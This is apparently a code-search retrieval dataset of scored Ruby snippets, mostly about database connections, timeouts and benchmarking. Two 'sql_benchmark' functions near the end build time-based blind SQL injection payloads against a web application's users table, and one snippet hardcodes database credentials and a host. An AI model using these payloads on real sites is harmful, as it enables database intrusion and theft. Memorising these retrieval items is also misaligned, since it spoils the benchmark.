"text": "def connection\n opts = options.to_hash\n extensions = options.extensions\n\n conn = if url = (opts.delete(:uri) || opts.delete(:url))\n Sequel.connect(url, opts)\n else\n # Kerberos related options\n realm = opts[:realm]\n host_fqdn = opts[:host_fqdn] || opts[:host]\n principal = opts[:principal]\n\n adapter = opts[:adapter]\n if adapter =~ /\\Ajdbc_/\n user = opts[:user]\n password = opts[:password]\n end\n\n case opts[:adapter] && opts[:adapter].to_sym\n when :jdbc_hive2\n opts[:adapter] = :jdbc\n auth = if realm\n \";principal=#{e principal}/#{e host_fqdn}@#{e realm}\"\n elsif user\n \";user=#{e user};password=#{e password}\"\n else\n ';auth=noSasl'\n end\n opts[:uri] = \"jdbc:hive2://#{e opts[:host]}:#{opts.fetch(:port, 21050).to_i}/#{e(opts[:database] || 'default')}#{auth}\"\n when :jdbc_impala\n opts[:adapter] = :jdbc\n auth = if realm\n \";AuthMech=1;KrbServiceName=#{e principal};KrbAuthType=2;KrbHostFQDN=#{e host_fqdn};KrbRealm=#{e realm}\"\n elsif user\n if password\n \";AuthMech=3;UID=#{e user};PWD=#{e password}\"\n else\n \";AuthMech=2;UID=#{e user}\"\n end\n end\n opts[:uri] = \"jdbc:impala://#{e opts[:host]}:#{opts.fetch(:port, 21050).to_i}/#{e(opts[:database] || 'default')}#{auth}\"\n when :jdbc_postgres\n opts[:adapter] = :jdbc\n auth = \"?user=#{user}#{\"&password=#{password}\" if password}\" if user\n opts[:uri] = \"jdbc:postgresql://#{e opts[:host]}:#{opts.fetch(:port, 5432).to_i}/#{e(opts[:database])}#{auth}\"\n when :impala\n opts[:database] ||= 'default'\n opts[:port] ||= 21000\n if principal\n # realm doesn't seem to be used?\n opts[:transport] = :sasl\n opts[:sasl_params] = {\n mechanism: \"GSSAPI\",\n remote_host: host_fqdn,\n remote_principal: principal\n }\n end\n end\n\n Sequel.connect(opts)\n end\n conn.extension(*extensions)\n conn\n end",
"title": ""
},
{
"docid": "8e810d5f7266a9c976991aa46978fdac",
"score": "0.4982032",
"text": "def run_sql(query, instance = nil, server = '.')\n target = server\n if instance && instance.downcase != 'mssqlserver'\n target = \"#{server}\\\\#{instance}\"\n end\n cmd = \"#{@sql_client} -E -S #{target} -Q \\\"#{query}\\\" -h-1 -w 200\"\n vprint_status(cmd)\n run_cmd(cmd)\n end",
"title": ""
},
{
"docid": "76158536bec8070a24ea7b62a8393268",
"score": "0.49743435",
"text": "def default_options\n { 'host' => '127.0.0.1', 'username' => '', 'password' => '', 'port' => 5432, 'timeout' => 30, 'dbname' => 'project_hanlon' }\n end",
"title": ""
},
{
"docid": "21ca3d8522b84b7c1ede083135a0d188",
"score": "0.4969012",
"text": "def in_database_direct_connection(statement_timeout:)\n raise 'need block' unless block_given?\n\n configuration = db_configuration_for\n configuration[:port] = configuration.fetch(:direct_port, configuration[\"direct_port\"]) || configuration[:port] || configuration[\"port\"]\n\n connection = @user.get_connection(_opts = {}, configuration)\n\n begin\n connection.run(\"SET statement_timeout TO #{statement_timeout}\")\n yield(connection)\n ensure\n connection.run(\"SET statement_timeout TO DEFAULT\")\n end\n end",
"title": ""
},
{
"docid": "a0512fc9b87c756cc599201d7f9b01ca",
"score": "0.49600995",
"text": "def initialize(opt={})\n @timeout = opt[:timeout] || 1\n end",
"title": ""
},
{
"docid": "fd41ba1cf04fe2a5c460b7564bdd801b",
"score": "0.4937289",
"text": "def run_update_query(query)\n\n connection = nil\n @host = Environment.db_host\n @username = Environment.db_username\n @password = Environment.db_password\n @dbname = Environment.db_name\n# # \n begin\n connection = DBI.connect(\"DBI:ADO:Provider=SQLOLEDB;Data Source=#{@host};Initial Catalog=#{@dbname};User ID=#{@username};Password=#{@password}\")\n rescue DBI::DatabaseError => e\n puts \"An error occurred\"\n puts \"Error code: #{e.err}\"\n puts \"Error message: #{e.errstr}\"\n end\n\n connection.do(query)\n connection.commit\n connection.disconnect\n\nend",
"title": ""
},
{
"docid": "c6c62dbf102f42f5ef88cfdc1b901743",
"score": "0.49312225",
"text": "def execute(sql, opts=OPTS)\n synchronize(opts[:server]) do |conn|\n begin\n command = conn.create_command(sql)\n res = log_connection_yield(sql, conn){block_given? ? command.execute_reader : command.execute_non_query}\n rescue ::DataObjects::Error => e\n raise_error(e)\n end\n if block_given?\n begin\n yield(res)\n ensure\n res.close if res\n end\n elsif opts[:type] == :insert\n res.insert_id\n else\n res.affected_rows\n end\n end\n end",
"title": ""
},
{
"docid": "4376cdf718086a13eb30fd89eae034c0",
"score": "0.49197605",
"text": "def execute(sql, opts={}, &block)\n @db.execute(sql, {:server=>@opts[:server] || :read_only}.merge(opts), &block)\n end",
"title": ""
},
{
"docid": "eb6278141c5cb3e733e1a633468ff3a8",
"score": "0.4919471",
"text": "def database_type\n :mssql\n end",
"title": ""
},
{
"docid": "fae6037931513e025ef2d5c42aed4d5d",
"score": "0.4912445",
"text": "def fetch_connection(options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "fae6037931513e025ef2d5c42aed4d5d",
"score": "0.4912445",
"text": "def fetch_connection(options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "fae6037931513e025ef2d5c42aed4d5d",
"score": "0.4912445",
"text": "def fetch_connection(options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "96306420653129d87adfd40427e9fcf5",
"score": "0.48942742",
"text": "def connect(opts)\n conn = if jndi?\n get_connection_from_jndi\n else\n args = [uri(opts)]\n args.concat([opts[:user], opts[:password]]) if opts[:user] && opts[:password]\n begin\n JavaSQL::DriverManager.setLoginTimeout(opts[:login_timeout]) if opts[:login_timeout]\n raise StandardError, \"skipping regular connection\" if opts[:jdbc_properties]\n JavaSQL::DriverManager.getConnection(*args)\n rescue JavaSQL::SQLException, NativeException, StandardError => e\n raise e unless driver\n # If the DriverManager can't get the connection - use the connect\n # method of the driver. (This happens under Tomcat for instance)\n props = java.util.Properties.new\n if opts && opts[:user] && opts[:password]\n props.setProperty(\"user\", opts[:user])\n props.setProperty(\"password\", opts[:password])\n end\n opts[:jdbc_properties].each{|k,v| props.setProperty(k.to_s, v)} if opts[:jdbc_properties]\n begin\n c = driver.new.connect(args[0], props)\n raise(TinyTds::Java::DatabaseError, 'driver.new.connect returned nil: probably bad JDBC connection string') unless c\n c\n rescue JavaSQL::SQLException, NativeException, StandardError => e2\n if e2.respond_to?(:message=) && e2.message != e.message\n e2.message = \"#{e2.message}\\n#{e.class.name}: #{e.message}\"\n end\n raise e2\n end\n end\n end\n\n @conn = conn\n end",
"title": ""
},
{
"docid": "e958777688778b4aa45c7a06a576aec0",
"score": "0.48941642",
"text": "def initialize(options)\n super\n @busy_timeout = (options[:busy_timeout] || 50)/1000\n @conn = SQLite3::Database.new(db_filename(options))\n end",
"title": ""
},
{
"docid": "15302391ccb7b46bd1c19e3711956cfe",
"score": "0.48934954",
"text": "def execute_in_user_database(command, *args)\n # FIXME: consider using ::User#transaction_with_timeout or in_database_direct_connection\n\n statement_timeout = args.first.delete :statement_timeout if args.first\n\n data = nil\n @user.in_database(*args) do |db|\n db.transaction do\n unless statement_timeout.nil?\n old_timeout = db.fetch(\"SHOW statement_timeout;\").first[:statement_timeout]\n exec_sql(db, \"SET statement_timeout TO '#{statement_timeout}'\")\n end\n\n begin\n data = exec_sql(db, command)\n ensure\n unless statement_timeout.nil?\n exec_sql(db, \"SET statement_timeout TO '#{old_timeout}';\")\n end\n end\n end\n end\n data\n end",
"title": ""
},
{
"docid": "b72792b25e9c595132c17582a1125bce",
"score": "0.4891734",
"text": "def connect(server)\n opts = server_opts(server)\n opts[:username] = opts[:user]\n set_mssql_unicode_strings\n TinyTds::Client.new(opts)\n end",
"title": ""
},
{
"docid": "c294fc66a6beab9d7216a209a512dae6",
"score": "0.4887265",
"text": "def augmented_options(options)\n options[:timeout] ||= @timeout\n\n options\n end",
"title": ""
},
{
"docid": "c3d15b35a2c6475a1ae51a1c18f733cd",
"score": "0.48822314",
"text": "def configure_timeout(options, env); end",
"title": ""
},
{
"docid": "d2119d027e467b58a708c80beafd99d7",
"score": "0.48809752",
"text": "def execute(sql, opts={})\n raise NotImplemented, \"#execute should be overridden by adapters\"\n end",
"title": ""
},
{
"docid": "b6112d5ba01d94df4ac4b7b98ceac3ba",
"score": "0.48698354",
"text": "def connect\n @connection = PGconn.connect(@connection_parameters)\n\n # Money type has a fixed precision of 10 in PostgreSQL 8.2 and below, and as of\n # PostgreSQL 8.3 it has a fixed precision of 19. PostgreSQLColumn.extract_precision\n # should know about this but can't detect it there, so deal with it here.\n OID::Money.precision = (postgresql_version >= 80300) ? 19 : 10\n\n configure_connection\n rescue ::PG::Error => error\n if error.message.include?(\"does not exist\")\n raise ActiveRecord::NoDatabaseError.new(error.message, error)\n else\n raise\n end\n end",
"title": ""
},
{
"docid": "ca4e4fb87911b67e9ef970625ba2b174",
"score": "0.48550293",
"text": "def initialize(options)\n @host = options[:host]\n @port = options[:port]\n @database_name = options[:database_name]\n end",
"title": ""
},
{
"docid": "6866873ed1f07b796760838f3c7f3eef",
"score": "0.48534444",
"text": "def config_timeout\n begin\n @session.config[:options][:connection_pool][:wait_timeout] && @session.config[:options][:connection_pool][:wait_timeout].to_i\n rescue\n false\n end\n end",
"title": ""
},
{
"docid": "d215c39cd44e9c0b50d7e8814ce3ff76",
"score": "0.48515278",
"text": "def timeout(secs)\n @options[:timeout] = secs\n end",
"title": ""
},
{
"docid": "7d868e027e2415ba86b7249e83887588",
"score": "0.48444152",
"text": "def run_automation_tds_db_query(query)\r\n client = TinyTds::Client.new username: 'svc_cdm', password: 'password', dataserver: 'dexd5080.hr-applprep.de', database: 'automation'\r\n client.execute('SET TEXTSIZE 2147483647;')\r\n results = client.execute(query)\r\n return results\r\n end",
"title": ""
},
{
"docid": "1a328e3d2f9d3c9215e37ae5801f96f7",
"score": "0.4841957",
"text": "def execute_cmd_with_timeout(command_string, timeout = 120)\n result = nil\n begin\n result = `timeout #{timeout}s #{command_string}`\n rescue StandardError => e\n Logger.log_warning_to_file(e.message)\n raise e\n end\n # timeout if command was not succesful\n raise CommandTimedOutException.new command_string, timeout unless $?.success?\n\n # TODO: change this implementation to one that can differentiate betweend timeout and regular failure\n result\nend",
"title": ""
},
{
"docid": "ef9a03ca4bd4c22f0ffdaf71ea94234c",
"score": "0.4840223",
"text": "def initialize(timeout)\n if not timeout\n raise QueryException.new(\"The timeout must be set for the wait operation.\")\n end\n \n @timeout = timeout\n \n end",
"title": ""
},
{
"docid": "863e5e5ed1fafed8b235f426cb46493f",
"score": "0.48401386",
"text": "def connect(opts)\n conn = if jndi?\n get_connection_from_jndi\n else\n args = [uri(opts)]\n args.concat([opts[:user], opts[:password]]) if opts[:user] && opts[:password]\n begin\n JavaSQL::DriverManager.setLoginTimeout(opts[:login_timeout]) if opts[:login_timeout]\n raise StandardError, \"skipping regular connection\" if opts[:jdbc_properties]\n JavaSQL::DriverManager.getConnection(*args)\n rescue JavaSQL::SQLException, NativeException, StandardError => e\n raise e unless driver\n # If the DriverManager can't get the connection - use the connect\n # method of the driver. (This happens under Tomcat for instance)\n props = java.util.Properties.new\n if opts && opts[:user] && opts[:password]\n props.setProperty(\"user\", opts[:user])\n props.setProperty(\"password\", opts[:password])\n end\n opts[:jdbc_properties].each{|k,v| props.setProperty(k.to_s, v)} if opts[:jdbc_properties]\n begin\n c = driver.new.connect(args[0], props)\n raise(Jdbc::DatabaseError, 'driver.new.connect returned nil: probably bad JDBC connection string') unless c\n c\n rescue JavaSQL::SQLException, NativeException, StandardError => e2\n if e2.respond_to?(:message=) && e2.message != e.message\n e2.message = \"#{e2.message}\\n#{e.class.name}: #{e.message}\"\n end\n raise e2\n end\n end\n end\n\n @conn = conn\n end",
"title": ""
},
{
"docid": "1938fbdea13f1b2010b7ce5c13eeae43",
"score": "0.48377687",
"text": "def get_conn\r\n return $conn if $conn!=nil\r\n puts \"create connection...\"\r\n $conn = TinyTds::Client.new(:username => $db_user, :password => $db_password, :host => 'hqsvr2', :database => 'hq', :timeout => 600)\r\n #required for distributied query\r\n $conn.execute(\"SET ANSI_NULLS ON\")\r\n $conn.execute(\"SET ANSI_WARNINGS ON\")\r\n return $conn\r\nend",
"title": ""
},
{
"docid": "8caed4af9a3df4fd030c1610c3e12746",
"score": "0.4835742",
"text": "def refresh_database_connection(database, options)\n if options[:forced] or database_unreachable?(database)\n # step 1: disconnect both database connection (if still possible)\n begin\n RR.limited_execute(configuration.options[:database_connection_timeout]) do\n disconnect_database database rescue nil\n end.join \n end\n\n connect_exception = nil\n # step 2: try to reconnect the database\n RR.limited_execute(configuration.options[:database_connection_timeout]) do\n begin\n connect_database database\n rescue Exception => e\n # save exception so it can be rethrown outside of the thread\n connect_exception = e\n end\n end\n raise connect_exception if connect_exception\n\n # step 3: verify if database connections actually work (to detect silent connection failures)\n if database_unreachable?(database)\n raise \"no connection to '#{database}' database\"\n end\n end\n end",
"title": ""
},
{
"docid": "657a98c6a46bf3f20f9b920bbb2befe1",
"score": "0.4807248",
"text": "def connect(options = {})\n hosts, username, password, port, timeout, @keyspace, @repl_strategy, @repl_factor = split_options(options)\n logger.debug \"Connecting to Cassandra (#{hosts}:#{port}) with timeout (#{timeout})\"\n begin\n host_list = hosts.split(',')\n if username && !(username.empty?)\n @cluster = Cassandra.cluster(hosts: host_list, port: port, username: username, password: password, idle_timeout: timeout)\n else\n @cluster = Cassandra.cluster(hosts: host_list, port: port, idle_timeout: timeout)\n end\n @session = start_session\n @connected_to_db = true\n rescue Cassandra::Errors::NoHostsAvailable => e\n raise Cassandra::Errors::InternalError.new \"Error connecting to to Cassandra at #{hosts}:#{port} (#{e.class}): #{e.message}\"\n rescue Cassandra::Errors::AuthenticationError => e\n raise Cassandra::Errors::InternalError.new \"Error connecting to to Cassandra at #{hosts}:#{port} (#{e.class}): #{e.message}\"\n rescue Cassandra::Errors::ProtocolError => e\n raise Cassandra::Errors::InternalError.new \"Error connecting to to Cassandra at #{hosts}:#{port} (#{e.class}): #{e.message}\"\n rescue Error => e\n raise Cassandra::Errors::InternalError.new \"Error connecting to to Cassandra at #{hosts}:#{port} (#{e.class}): #{e.message}\"\n end\n @connected_to_db\n end",
"title": ""
},
{
"docid": "9bb8c8f40ad6ae73a2fd675de8d9a422",
"score": "0.48064494",
"text": "def big_query(sql, options={})\n quiet = options.fetch(:quiet, @quiet)\n fetch_size = options.fetch(:fetch_size, 100000)\n\n @conn.set_auto_commit(false);\n stmt = @conn.create_statement\n stmt.set_fetch_size(fetch_size)\n stmt.execute_query(sql)\n\n log \"\\n#{sql}\\n\" unless quiet\n with_error_handling { stmt.execute_query(sql) }\n end",
"title": ""
},
{
"docid": "98406d3d8367fc982997f165b256fb89",
"score": "0.48051676",
"text": "def pool_options(options)\n { size: options[:pool_size],\n timeout: options[:pool_timeout] }\n end",
"title": ""
},
{
"docid": "7313cf4d71b5cafae66d46faf333bee9",
"score": "0.4803706",
"text": "def connection_stored?(options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "7313cf4d71b5cafae66d46faf333bee9",
"score": "0.4803706",
"text": "def connection_stored?(options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "7313cf4d71b5cafae66d46faf333bee9",
"score": "0.4803706",
"text": "def connection_stored?(options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "f6bd6fa987e007388b21a18e53647518",
"score": "0.4801295",
"text": "def connect!\n ActiveRecord::Base.establish_connection(adapter: 'sqlite3', \n database: path_to_database,\n timeout: default_timeout)\n end",
"title": ""
},
{
"docid": "a0bdfc312998cb31c523a1016c18bae1",
"score": "0.47857964",
"text": "def connect_db_string\n {\n host: options[:host],\n port: options[:port],\n dbname: options[:database],\n user: options[:user],\n password: options[:password],\n connect_timeout: options[:connect_timeout]\n }.reject{|k,v| v.nil?}.map{|pair| pair.join(\"=\")}.join(\" \")\n end",
"title": ""
},
{
"docid": "5a52550c0e234df3de2874a619b09f60",
"score": "0.4777412",
"text": "def execute(sql)\n @connection.execute(sql)\n rescue TinyTds::Error => e\n connect\n execute(sql)\n end",
"title": ""
},
{
"docid": "a41f15e401036ccdfa3955d5e5049777",
"score": "0.47730473",
"text": "def reconnect_with_percona\n connection_config = ActiveRecord::Base.connection_config\n ActiveRecord::Base.establish_connection(\n connection_config.merge(adapter: 'percona')\n )\n end",
"title": ""
},
{
"docid": "0ecc6e063c1ff1ee4312cac2997e530b",
"score": "0.47729856",
"text": "def execute(sql)\n return nil if closed?\n begin\n @connection.Execute(sql)\n rescue win32_exception => e\n Puppet.debug \"sqlserver_client.rb error: exec(sql): #{e.message}\"\n end\n end",
"title": ""
}
] |
fdcd2823c33e000560629ee95e17bd02 | This is a nice little helper method I added to help with performance tests. The basic use is as follows: all test setup ... ... results = benchmark do trigger action you want to time (eg: post :visits) end results[:mean].should be <= your time restriction Optionally the you can specify a number of samples other than the default (100) or if you want garbage collection disabled for the benchmark run. | [
{
"docid": "c44220bb53a683581f5ece30a36b1404",
"score": "0.618288",
"text": "def benchmark(number_of_samples = 100, disable_garbage_collection = false, &blk)\n elapsed_realtime = nil\n begin\n sum_of_samples = 0\n samples = []\n sample_variance_sum = 0\n if disable_garbage_collection\n GC.start\n GC.disable\n end\n 5.times { blk.call } # call 5 times to get rid of caching weirdness\n number_of_samples.times do\n elapsed_realtime = Benchmark.realtime { blk.call }\n sum_of_samples += elapsed_realtime\n samples << elapsed_realtime\n end\n if disable_garbage_collection\n GC.enable\n GC.start\n end\n\n # Compute the mean\n mean = sum_of_samples/number_of_samples.to_f\n # Compute the sample variance\n samples.each do |s|\n sample_variance_sum += (s-mean)**2\n end\n sample_variance = sample_variance_sum/number_of_samples.to_f\n # Compute the standard deviation\n standard_deviation = Math.sqrt(sample_variance)\n\n return { :mean => mean, :variance => sample_variance, :standard_deviation => standard_deviation, :average_calls_per_second => 1.0/mean }\n rescue Exception => e\n GC.enable\n raise e\n end\nend",
"title": ""
}
] | [
{
"docid": "171abde0e87275d4f5d6bb3e812da47b",
"score": "0.74677914",
"text": "def bench_performance\n if ENV['BENCH']\n validation = lambda { |ranges, times|\n count_per_second = ranges.last / times.last.to_f\n assert count_per_second > 100_000, 'Count per second: %.2f' % count_per_second\n }\n\n assert_performance validation do |n|\n run_cache(n)\n end\n end\n end",
"title": ""
},
{
"docid": "1e2e88b4fd86bdf2bdedabee48cabab8",
"score": "0.67016155",
"text": "def perform_very_quickly\n self.run_performance_test(TIERS[:very_quickly])\n end",
"title": ""
},
{
"docid": "4630f1f17a83ee7ab8d7af51ffac69a4",
"score": "0.66720784",
"text": "def benchmark\n # Your benchmarking code goes here.\n start_time = Time.now\n yield\n end_time = Time.now\n running_time = end_time - start_time\nend",
"title": ""
},
{
"docid": "27a2008e18c4af05ba675c6e5e98829f",
"score": "0.6498312",
"text": "def benchmark &block\n start = Time.now\n block.call()\n end_t = Time.now\n puts \"Running Time: #{(end_t.to_f - start.to_f).to_s} seconds\"\nend",
"title": ""
},
{
"docid": "432353af24b9696dbb3368fe98d31b17",
"score": "0.64700484",
"text": "def benchmark\n start = Time.now\n yield\n Time.now - start\nend",
"title": ""
},
{
"docid": "34b764730bf3041a7624ec045dcc48cd",
"score": "0.6441278",
"text": "def benchmark(description)\n RubyProf.measure_mode = TYPE\n\n RubyProf.start\n ITERATIONS.times { yield }\n result = RubyProf.stop\n\n print_result(result, description)\nend",
"title": ""
},
{
"docid": "c688101c32e7ed848d77433e1701490c",
"score": "0.64177763",
"text": "def bench type\n t1 = Time.now\n\n\n yield\n t2 = Time.now\n p \"#{type}'s took #{t2 - t1}s\"\nend",
"title": ""
},
{
"docid": "d47ae471ea053fbf791878e6d1e95b96",
"score": "0.6386215",
"text": "def benchmark\n start_time = Time.now\n yield\n end_time = Time.now\n end_time - start_time\nend",
"title": ""
},
{
"docid": "b74d46ff65f1939637994562cca7dc9e",
"score": "0.63788354",
"text": "def benchmark\n\t# From http://blog.evanweaver.com/articles/2006/12/13/benchmark/\n\t# Call benchmark { } with any block and you get the wallclock runtime\n\t# as well as a percent change + or - from the last run\n\tcur = Time.now\n\tresult = yield\n\tprint \"#{cur = Time.now - cur} seconds\"\n\tputs \" (#{(cur / $last_benchmark * 100).to_i - 100}% change)\" rescue puts \"\"\n\t$last_benchmark = cur\n\tresult\nend",
"title": ""
},
{
"docid": "d4b4c4c5889120b85d23ae9b2aecaa96",
"score": "0.63734686",
"text": "def test_perf_post_hero()\n time = Benchmark.realtime do |bm|\n @heroes.post_hero(@dummy_record)\n end\n assert_operator time, :<=, @max_api_time\n end",
"title": ""
},
{
"docid": "06319446e07e05a724c121b46526190d",
"score": "0.6324061",
"text": "def benchmark(name: nil, time_threshold: 3600, setup: nil, teardown: nil, no_exit: false, mode: :total, &block)\n unless %i[real total stime utime].include? mode\n puts 'Mode argument must be any of the following: '\n return\n end\n\n warn_about_memprof\n\n if ENV['APP_IN_CI'].nil?\n check_mysql_path_env\n backup(ENV['MYSQL_PATH'])\n end\n\n ActionMailer::Base.perform_deliveries = false\n\n timestamp = Time.now.utc.iso8601\n FileUtils.mkdir_p('performance/benchmarks/output') # Create the folder if it doesn't exist already\n stackprof_file = \"performance/benchmarks/output/#{name}_#{timestamp}_CPU.dump\".tr(':', '-')\n flamegraph_file = \"performance/benchmarks/output/#{name}_#{timestamp}_FLM\".tr(':', '-')\n memprof_file = \"performance/benchmarks/output/#{name}_#{timestamp}_MEM.log\".tr(':', '-')\n benchmark_file = \"performance/benchmarks/output/#{name}_#{timestamp}_BCM.log\".tr(':', '-')\n $stdout = File.new(benchmark_file, 'w') if ENV['CAP_STDOUT']\n $stdout.sync = true if ENV['CAP_STDOUT']\n\n benchmark_report = nil\n\n if !setup.nil? && defined?(setup&.call)\n puts 'running setup'\n setup.call\n end\n puts 'starting benchmark'\n\n Benchmark.bm(20) do |x|\n MemoryProfiler.start unless ENV['NO_MEMPROF']\n StackProf.start(mode: :wall, out: stackprof_file, interval: 1000, raw: true) unless ENV['NO_STACKPROF']\n benchmark_report = x.report(name, &block)\n StackProf.stop unless ENV['NO_STACKPROF']\n MemoryProfiler.stop.pretty_print(normalize_paths: true, scale_bytes: true, to_file: memprof_file) unless ENV['NO_MEMPROF']\n end\n puts 'finished benchmark'\n if !teardown.nil? && defined?(teardown&.call)\n puts 'running teardown'\n teardown.call\n end\n\n puts 'clearing redis'\n begin\n Sidekiq.redis(&:flushdb)\n rescue Redis::CannotConnectError\n puts 'Redis not found. Skipping.'\n end\n\n puts \"\\n\"\n puts \"\\ncat #{benchmark_file}\" if ENV['CAP_STDOUT']\n puts \"\\ncat #{memprof_file}\" unless ENV['NO_MEMPROF']\n puts \"\\nstackprof #{stackprof_file}\" unless ENV['NO_STACKPROF']\n puts \"\\nstackprof --flamegraph #{stackprof_file} > #{flamegraph_file}\" unless ENV['NO_STACKPROF']\n puts \"\\nstackprof --flamegraph-viewer=#{flamegraph_file}\" unless ENV['NO_STACKPROF']\n\n $stdout = STDOUT if ENV['CAP_STDOUT'] # disable capture of STDOUT\n\n puts File.read(benchmark_file) if ENV['CAP_STDOUT']\n\n elapsed_time = benchmark_report.send(mode)\n puts \"\\n\\n\"\n puts \"Acceptable #{mode} time threshold: #{format('%.3f', time_threshold).rjust(10, ' ')}\"\n puts \" Actual #{mode} time threshold: #{format('%.3f', elapsed_time).rjust(10, ' ')}\"\n\n restore(ENV['MYSQL_PATH']) if ENV['APP_IN_CI'].nil?\n\n write_benchmark_json(name, benchmark_report.total, time_threshold)\n\n if time_threshold < elapsed_time\n puts 'TEST FAILED'\n exit(1) unless no_exit\n false\n else\n puts 'TEST PASSED'\n exit(0) unless no_exit\n true\n end\nend",
"title": ""
},
{
"docid": "de7ddd217fd9b142042d318ce6e06ce7",
"score": "0.6313955",
"text": "def benchmark\n setup_output\n benchmark_target(select_target)\n end",
"title": ""
},
{
"docid": "643cbec6cc234e98d68bfefd32c01174",
"score": "0.63087267",
"text": "def my_benchmark number_of_times, &block\n start = Time.now\n number_of_times.times { yield }\n Time.now - start\nend",
"title": ""
},
{
"docid": "b0abaa38cc589d837cb85b6339eb8113",
"score": "0.629036",
"text": "def measure(number_of_times=0)\n if number_of_times > 0 \n start = Time.now\n number_of_times.times { yield }\n elapsed_time = Time.now-start\n average_time = elapsed_time/number_of_times\n else\n start = Time.now\n yield \n elapsed_time=Time.now-start\n end\nend",
"title": ""
},
{
"docid": "e53a24b004c88b7f00a9c3eae8a0dee4",
"score": "0.6289228",
"text": "def perform_quickly\n self.run_performance_test(TIERS[:quickly])\n end",
"title": ""
},
{
"docid": "5de850167714ab5c575dd504b620143f",
"score": "0.6268736",
"text": "def bench(count = 1, &block)\n count.times.map { time(&block) }.reduce(:+) / count.to_f\nend",
"title": ""
},
{
"docid": "0fd53ed8bbe20f26229d2d49990360f1",
"score": "0.6262735",
"text": "def benchmark(*args, &block)\n logger.benchmark(*args, &block)\n end",
"title": ""
},
{
"docid": "779035b8d812a4bbd94fb67d70dfdce2",
"score": "0.6237309",
"text": "def sql_benchmark(test, hdrs, table = nil, where = '1+LIMIT+1', tnum = nil ) \r\n\t\r\n\t\t# Init\r\n\t\twait = 0\r\n\t\t\r\n\t\t# Defaults\r\n\t\ttable = table ? table: 'users'\r\n\t\t\r\n\t\t# SQL Injection string used to trigger the MySQL BECNHMARK() function\r\n\t\tsqli = (\"'+UNION+SELECT+IF(#{test},+BENCHMARK(#{datastore['BMCT']},\\\r\n+MD5(1)),+0)+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}--+sqli.page\")\r\n\t\t\r\n\t\t# Number of tests to run. We run this\r\n\t\t# amount of tests and then look for a\r\n\t\t# median value that is greater than\r\n\t\t# the benchmark difference.\r\n\t\ttnum = tnum ? tnum: datastore['BMRC']\r\n\t\t\r\n\t\t# Run the tests\r\n\t\ttnum.to_i.times do | i |\r\n\t\t\r\n\t\t\t# Start time\r\n\t\t\tbmc1 = Time.now.to_i\r\n\t\t\t\r\n\t\t\t# Make the request\r\n\t\t\t\r\n\t\t\t\r\n\t\t\tinit_debug(http_get(\"#{datastore['JQRY']}#{sqli}\", hdrs))\r\n\t\t\t# End time\r\n\t\t\tbmc2 = Time.now.to_i\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t# Total time\r\n\t\t\twait += bmc2 - bmc1\r\n\t\tend\r\n\t\t\r\n\t\t# Return the results\r\n\t\treturn ( wait.to_i / tnum.to_i )\r\n\t\t\r\n\tend",
"title": ""
},
{
"docid": "4f9c724cd91171577f66c8c8bcee2674",
"score": "0.62352794",
"text": "def benchmark\n builder.build!\n\n tests = runnable_tests\n\n if tests.empty?\n puts '[]' if @json\n return\n end\n\n spec = @options.spec\n\n if spec.type == :duration\n spec = spec.with(value: spec.value.to_f / tests.length)\n end\n\n tests.shuffle.each do |test|\n time(spec, **test)\n end\n\n sorted = @results.sort_by { |result| result[:time] }\n\n if @json\n puts sorted.to_json\n else\n pairs = sorted.map { |result| [result[:name], '%.02f' % result[:time]] }\n table = TTY::Table.new(['Test', 'Time (ms)'], pairs)\n puts unless @verbosity == :quiet\n puts table.render(:basic, alignments: %i[left right])\n end\n end",
"title": ""
},
{
"docid": "81838d14b653b2d034bbdd384f1aeb4c",
"score": "0.62303275",
"text": "def benchmark\n start_t = Time.now\n yield\n end_t = Time.now\n end_t - start_t\nend",
"title": ""
},
{
"docid": "c857c52851dbb266a7dca303a2cc333e",
"score": "0.62295645",
"text": "def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil )\n\t\n\t\t# Init\n\t\twait = 0\n\t\t\n\t\t# Defaults\n\t\ttable = table ? table: 'users'\n\t\t\n\t\t# SQL Injection string used to trigger the MySQL BECNHMARK() function\n\t\tsqli = Rex::Text.uri_encode(\"( SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} ),\")\n\t\t\n\t\t# Number of tests to run. We run this\n\t\t# amount of tests and then look for a\n\t\t# median value that is greater than\n\t\t# the benchmark difference.\n\t\ttnum = tnum ? tnum: datastore['BMRC']\n\t\t\n\t\t# Run the tests\n\t\ttnum.to_i.times do | i |\n\t\t\n\t\t\t# Start time\n\t\t\tbmc1 = Time.now.to_i\n\t\t\t\n\t\t\t# Make the request\n\t\t\tinit_debug(http_post(datastore['JURI'], \"#{datastore['JQRY']}#{sqli}\"))\n\t\t\n\t\t\t# End time\n\t\t\tbmc2 = Time.now.to_i\n\t\t\t\n\t\t\t# Total time\n\t\t\twait += bmc2 - bmc1\n\t\tend\n\n\t\t# Return the results\n\t\treturn ( wait.to_i / tnum.to_i )\n\t\t\n\tend",
"title": ""
},
{
"docid": "b202757e95d1260d2dbda89154aa6a99",
"score": "0.6213081",
